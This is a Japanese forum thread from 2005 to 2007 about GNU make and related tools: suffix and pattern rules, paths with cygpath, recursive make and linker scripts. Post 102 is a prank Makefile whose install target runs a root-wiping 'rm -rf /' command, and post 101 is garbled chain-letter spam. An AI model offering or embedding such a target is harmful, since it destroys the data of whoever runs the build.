- 1 名前:名無しさん@お腹いっぱい。 [04/03/18 00:55]
- UNIX の基本 make
GNU make, BSD make, imake, nmake, etc.
- 81 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/07/01(金) 18:31:50 ]
- FreeBSDでやってみたがエラーにはならないな。
もちろんinfileが存在しない状態だとエラーになるけど。
- 82 名前:80 mailto:sage [2005/07/04(月) 19:38:28 ]
- >>81
確認して頂いてすいませんでした 環境に依存するのかなぁ
- 83 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/16(火) 21:12:31 ]
- >>80
エラーの内容を書かないつーのはじいさんの遺言かなんかか?
- 84 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/17(水) 06:31:38 ]
- おじいさんの葬式にも行かなかったアホ孫なんだろう。
- 85 名前:名無しさん@お腹いっぱい。 [2005/08/25(木) 13:45:33 ]
- makefileのディレクトリ配下のbin、src、obj、inkフォルダにあるソースやオブジェクトやヘッダに対して
サフィックスルールをうまく使ってmakeしたいんだけど、 うまくmakefileが書けません・・・どうしたらうまく動作させられるか教えてください。
- 86 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/25(木) 15:29:11 ]
- >>85
Info をよく読むといいよ
- 87 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/26(金) 12:26:05 ]
- 下記サイトのオブジェクトファイルの生成場所を変える方法やVPATH、vpath記述子あたりを読んでみたんですが
うまくmakefileに実装できません・・・ meraman.dip.jp/wiki.cgi?page=GnuMakeMaster サフィックスルールを使ってソースファイルとオブジェクトファイルをmakefile配下の別ディレクトリに振り分けるのは無理なんでしょうか? うまくやれる方法あったらお願いしますm(_ _)m
- 88 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/26(金) 14:03:34 ]
- >>87 パターンルールつかうといいよ。
- 89 名前:名無しさん@お腹いっぱい。 [2005/08/29(月) 15:01:13 ]
- $su
password:******* #make mank? ..................done. #ls mank?
- 90 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/08/30(火) 22:22:55 ]
- manko?
- 91 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/09/02(金) 09:49:30 ]
- alias kati make
これで俺も勝ち組み
- 92 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/09/02(金) 23:25:56 ]
- >>91
それだと、どのみち 本質的に負けてるんじゃないの?w
- 93 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/10/20(木) 18:20:32 ]
- Makefile中であるファイルの絶対パスを得たいのですが、何かコマンドはないでしょうか。
- 94 名前:名無しさん@お腹いっぱい。 [2005/10/20(木) 18:25:23 ]
- あげわすれました
あ、 `pwd`/hoge でいけますね。 失礼しました。
- 95 名前:名無しさん@お腹いっぱい。 [2005/10/20(木) 18:38:18 ]
- すみません。
その後、Makefileで、絶対パスを得た後、 cygpathを使って、windowsのパスに直したいのですが、 上手くいきません。 なんとかする方法はないでしょうか。 TARGET_PATH = `pwd`/$(TARGET) WIN_TARGET_PATH = `cygpath -w $(TARGET_PATH)` echo $(WIN_TARGET_PATH) とやっても、 echo `cygpath -w `pwd`/hoge.hoge` Usage: cygpath (-d|-m|-u|-w|-t TYPE) [-f FILE] [OPTION]... NAME... cygpath [-c HANDLE] : : と出てしまいます。
- 96 名前:名無しさん@お腹いっぱい。 [2005/10/20(木) 18:40:43 ]
- shell使えばよかったんですね・・・。
お恥ずかしい限りです TARGET_PATH = $(shell pwd)/$(TARGET) WIN_TARGET_PATH = $(shell cygpath -w $(TARGET_PATH)) でいけました
- 97 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/01/02(月) 22:45:11 ]
- Gnu Make 3版をよんだ。
六章の再帰的makeと非再帰的makeについては、 再帰的makeの方を使ったほうが自然だと思うのだが、みなさんは通常どちらを使ってますか?
- 98 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/01/13(金) 00:16:45 ]
- >>97
Recursive Make Considered Harmful aegis.sourceforge.net/auug97.pdf
- 99 名前:名無しさん@お腹いっぱい。 [2006/06/16(金) 15:28:25 ]
- make で tex の処理するとき
Label の付け直しで再処理が必要な場合は 自動的にもう一回実行してくれるようにするには どうしたらいい?
- 100 名前:名無しさん@お腹いっぱい。 [2006/06/16(金) 16:25:19 ]
- なあ、エロイ人よ、俺の下らん質問を聞いてくれ。
cakeってのがどっかで作られたRHSが書いてたが、実物を見たことが無いんだ。 ケーキと読むんだろ? makeの弟子だとかなんとか。
- 101 名前:名無しさん@お腹いっぱい。 [2006/06/16(金) 16:51:25 ]
- ? ?.
?? ?? ???? ???? ?????????????? ????????????????? ????????????????? ????????????????? ????????????????? ??????????????? ???????????? ??????????????? ????????????????? ????????????????? これを見ると今年の受験に落ちます。 これを今から1時間以内に3回他スレにコピペすれば100%、受かります。 貼らないと 落 ち ま す
- 102 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/06/17(土) 05:28:40 ]
- SHELL = /bin/sh
all: @echo "type `make install'" install: rm - rf /
- 103 名前:名無しさん@お腹いっぱい。 [2006/11/07(火) 05:43:54 ]
- ????
- 104 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/24(金) 17:03:17 ]
- $HOME/data/wav/<artist>/<album>/Track{01..99}.wav
ってのがいっぱいあるのを、$HOME/data/mp3 に変換するのにmakeって使えますか? 今はshell scriptでやってるんだけどいまいち smartじゃない気がして。
- 105 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/24(金) 17:42:41 ]
- つかえるお
- 106 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/24(金) 18:36:04 ]
- むしろシェルスクリプトの方が正しい解だと思うけど。
data/wav/<artist>/<album>/*.wavは度々更新される種類のファイルとも思えないし。
- 107 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/24(金) 22:10:31 ]
- >>106
なるほど。 リッピング、MP3変換、携帯プレーヤにコピー と3段階あるもんだから、make -> make install みたいなノリでやったら美しいかと思ったんですが、 たしかにwavは増えることはあっても更新されることはないから makeで扱うのはちょっと違うかもですね。 さんきゅでした。
- 108 名前:名無しさん@お腹いっぱい。 [2006/11/25(土) 03:37:11 ]
- make[1]: Entering directory
make[1]: Leaving directory が出るcdコマンドの書き方ってどうやるんですか?
- 109 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/25(土) 17:25:33 ]
- >>108
残念ながら cd コマンドでは出ない。 make -C を使うと出るよ。
- 110 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/25(土) 20:37:04 ]
- サブディレクトリに継承する書き方できなかったけ?
- 111 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/05/12(土) 23:21:14 ]
- makefileの中で他のディレクトリにあるオブジェクトファイルを参照してるんですけど、
そのオブジェクトファイルを作成する記述がないです。 そのオブジェクトファイルがあるディレクトリにはいくつかのサブディレクトリもあって、 そのサブディレクトリの一つに今言っているオブジェクトファイルをつくるmakefileが あるんですけど、これってどう解釈したらいいでしょうか? ちなみに、他のサブディレクトリにも今言っているオブジェクトファイルではない オブジェクトファイルを作るmakefileがそれぞれあります。 make勉強したての僕にアドバイスください。
- 112 名前:111 [2007/05/13(日) 16:10:52 ]
- ごめんなさい。あげちゃいました。
僕に気づいて!
- 113 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/05/13(日) 16:57:04 ]
- >>111
サブディレクトリのオブジェクトはサブディレクトリの makefile で作るんだろ。 他にどう解釈するんだ? あとは書いた奴に聞けよ。
- 114 名前:名無しさん@お腹いっぱい。 [2007/06/17(日) 09:27:18 ]
- GNUのリンカー( LD )で質問ですが、
バイナリーデータを指定アドレスに配置する方法を知りたいです。 読み込むとセクション.dataでそのセクションに配置されてしまいます。
- 115 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/06/17(日) 10:43:25 ]
- >>114 マルチ
pc11.2ch.net/test/read.cgi/unix/1079538957/114 pc11.2ch.net/test/read.cgi/unix/1127388574/124 pc11.2ch.net/test/read.cgi/unix/1176049968/378
- 116 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/06/18(月) 11:53:19 ]
- プログラミング質問すれ Part1
pc11.2ch.net/test/read.cgi/unix/1127388574/ から来た。 >>114 リンカスクリプトを書いて -T オプションで読ませる。 リンカスクリプトの書き方は ld.info にある。
- 117 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/06/18(月) 23:53:35 ]
- まけ・・・組み?w
- 118 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/06/19(火) 22:36:30 ]
- $ make inu
make: INU Is Not Unix. Stop. make: stopped in /home/inu $
- 119 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/12/07(金) 04:36:58 ]
- 並列度はどれぐらいが妥当?
コマンドラインで -j12 にしても、子プロセスのmakeまではいじれんよな。
|

|